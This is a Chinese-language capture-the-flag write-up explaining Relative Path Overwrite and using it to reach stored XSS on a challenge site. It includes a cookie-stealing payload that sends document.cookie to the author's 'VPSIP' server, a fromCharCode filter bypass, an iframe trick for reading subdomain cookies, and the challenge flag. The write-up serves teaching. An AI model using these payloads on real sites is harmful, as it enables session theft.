PRO的全称为“Relative Path Overwrite”,也就是相对路径覆盖。利用浏览器和服务器对资源加载设置的差异,通过某些方法和技巧,在相对路径处,引入我们可控的js/css文件,甚至引入非js/css文件,并按照js/css的语法执行,从而实现攻击。
由题引入
1 | 题目地址:http://39.107.33.96:20000/login.php |
0x01 测试XSS
大致思路:登陆进入后,
- url提交过去可能会有waf
- 后台会有bot点击提交过去的url
- 需要传过去自己VPS的地址得到cookie。
测试waf:
reports输入框中输入:
1 | http://39.107.33.96:20000/<script src=http://VPSIP ></script> |
在自己的VPS的日志中确实可以看到访问记录,但是再利用直接加script脚本的方法无法获取到document.cookie
所以这道题的关键在于寻找XSS注入点。今天的猪脚就要登场啦……
0x02 寻找XSS注入点_RPO
观察到url的形式
1 | http://39.107.33.96:20000/index.php/view/article/2704 |
说明网站使用了PATHINFO模式,后面的参数依次为:模块/控制器/操作
再看html源码:
1 | <script src="static/js/jquery.min.js"></script> |
使用了相对url引用css。
于是猜测是相对路径覆盖攻击,开始测试,先操作再分析吧……
先新建一篇文章,title为空,内容如下:
接着进入新建的文章内容页,url输入
1 | http://39.107.33.96:20000/index.php/view/article/2715/..%2f..%2f..%2f..%2findex.php |
接下来分析漏洞成因:服务端和客户端对url的解析不一致
经过了一番折腾,大致形成了自己的思路,若有问题还请各位大佬指正……
结合抓包进行分析,提交payload后可以抓到两个包
第一个包
服务器对url解码为:
1 | http://39.107.33.96:20000/index.php/view/article/2715/../../../../index.php |
于是往上跳三级目录执行index.php,于是服务器返回index.html页面,怀疑 http://39.107.33.96:20000/index.php/view/article/2715/../../../../ 是不是也可以成功弹框,经测试是没有问题的。
第二个包
这个包的产生源于刚才服务器返回的index.html中存在这样的相对路径引用
1 | <script src="static/js/jquery.min.js"></script> |
而浏览器发送的请求为什么是/index.php/view/article/2715/static/js/jquery.min.js
呢?服务器为什么返回的又是/index.php/view/article/2715的内容呢?这就是RPO的漏洞根源所在了,狂敲小黑板!!重点来了!
首先明确一点,我们的static/js/jquery.min.js
相对的是index.php的目录 即网站根目录。
接着看着我们的payload分析:
1 | http://39.107.33.96:20000/index.php/view/article/2715/..%2f..%2f..%2f..%2findex.php |
浏览器:并不会对%2f进行解析,认为..%2f..%2f..%2f..%2findex是一个脚本名字,浏览器在加载相对路径文件时是以最后一个/为相对目录加载具体资源文件的。于是认为此刻的目录是http://39.107.33.96:20000/index.php/view/article/2715/
,所以请求相对路径的js资源时发送了http://39.107.33.96:20000/index.php/view/article/2715/static/js/jquery.min.js
服务器:接到上面浏览器的请求,服务器会按照PATHINFO模式来读取这个url,于是模块view/控制器article/操作2715/,后面的static/…会认为是参数了,然后后台并没有进行参数的接收,于是返回的是http://39.107.33.96:20000/index.php/view/article/2715/
的内容alert(1),返回只html页面中
1 | <script src="static/js/jquery.min.js">alert(1)</script> |
于是成功弹窗。
0x03 XSS利用
找到了XSS注入点,接下来的操作就水到渠成了
payload:(new Image()).src = 'http://VPSIP:Port?'+document.cookie
新建文章,content处出入payload,查看新生成的文章
发现后台存在htmlspacialchars操作,可以用fromCharCode进行绕过处理 [js中字符串与Unicode 字符值序列的相互转换]
url输入http://39.107.33.96:20000/index.php/view/article/2757/..%2f..%2f..%2f..%2findex.php
查看服务器日志,咦,返回了自己的cookie,哈哈,傻了吧,肯定是要bot去点击啦,你自己点击当然是自己当前账户的cookie了 23333~~
验证码的生成
1 | #!/usr/bin/env python |
提交之后,查看服务器日志
根据提示,利用iframe跨域(这种跨域的方式最主要的是要求主域名相同)去读二级目录下的cookie
1 | var i=document.createElement("iframe"); |
然后转换为Unicode序列值
reports页面提交,查看服务器日志
flag: QWB{flag_is_f43kth4rpo}
总结
利用服务端和客户端对于%2f
处理的不同完成了目录的穿越,如果这个时候在传入某个(某几个)paramx的时候会有我们能够完全控制的页面,那么我们就可以通过上述的方式进行目录穿越从而实现加载可控的js。
RPO攻击生效条件
- 浏览器的渲染模式:怪异模式 (即html文档开头没有DOCTYPE的声明) 。在怪异模式下,浏览器将会忽视其中
Content-Type: text/html
等声明文档类型的描述,将其中的任何css解析执行;反之如果是位于标准模式的话,浏览器将只会解析Content-Type: text/css
,而其余则会报错。 - 相对路径引用CSS
- 可控的js (针对上述的CTF题目,即为
http://39.107.33.96:20000/index.php/view/article/2715/
的页面内容)
参考: